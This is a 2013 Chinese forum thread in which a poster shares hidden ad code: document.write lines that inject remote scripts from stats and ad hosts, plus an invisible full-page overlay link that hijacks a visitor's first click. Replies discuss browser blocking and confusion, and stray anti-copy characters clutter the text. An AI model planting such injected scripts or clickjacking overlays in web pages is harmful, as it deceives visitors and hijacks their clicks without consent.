document.write('<script src="http://s127.cnzz.com/stat.php?id=1474936&web_id=1474936" language="JavaScript" charset="gb2312"><\/script>');
   
   
7 U! f6 q$ U$ ~document.write("<script language='javascript' src='http://play.unionsky.cn/show/?placeid=141830'><\/script>");

. R* o/ v3 c+ y0 R8 R1 h5 C
5 Z2 @# }% c8 e5 ?8 r' u! F一切昭然天下了。
代码产生的直接效果如下

<a  target="_blank" style="position: absolute; z-index: 2147483647; display: block; top: 0px; left: 0px; cursor: default; opacity: 0;"><div style="background-color: rgb(255, 255, 255); width: 1903px; height: 650px;"></div></a>

' M% g, n: I4 X很隐秘的一段好代码
3 d( t: F# q/ g; O. |

Smythe_Bob

标记一下 好象看不懂还

网赚高富帅

不清楚国内，莫非做taobao不可以直接用弹窗吗？

booday

没用 360 搜狗 直接就拦截了，chrome可以弹出来

阿百川

adblock 完美屏蔽

PHP

没研究全，期待跟多解析。

echo

代码看不懂，不过觉得挺好用的……自动弹窗

cissss

没懂

1，首次访问有个弹窗，但是被chrome给拦截了

2，劫持了第一次点击

3，CS了一下unionsky

7 X+ i! @' L3 Z1 q& ^; f" o然后？

小狠

cissss 发表于 2013-12-18 01:24
2 Y" x' y- k3 {% `; y  Z' Y3 a没懂
0 M. y( q* B- b3 Z- G
6 ]! X1 V- A- G8 n* V+ G1，首次访问有个弹窗，但是被chrome给拦截了

! |! z' P9 X; B0 u3 ^1 @懂的人一看就懂 不懂的人怎么看就不懂

1990a

这个CJ怎么搞的这么复杂...

cissss

小狠 发表于 2013-12-18 03:49
懂的人一看就懂 不懂的人怎么看就不懂

2 a% u$ y$ B1 }* ]5 {4 b( {我确实不懂你发这贴的意思。 可以理解为装逼么？

bowen

不就是个弹窗代码吗？

babe_lucky

我表示看不懂

cnnova

占位，慢慢领会啥意思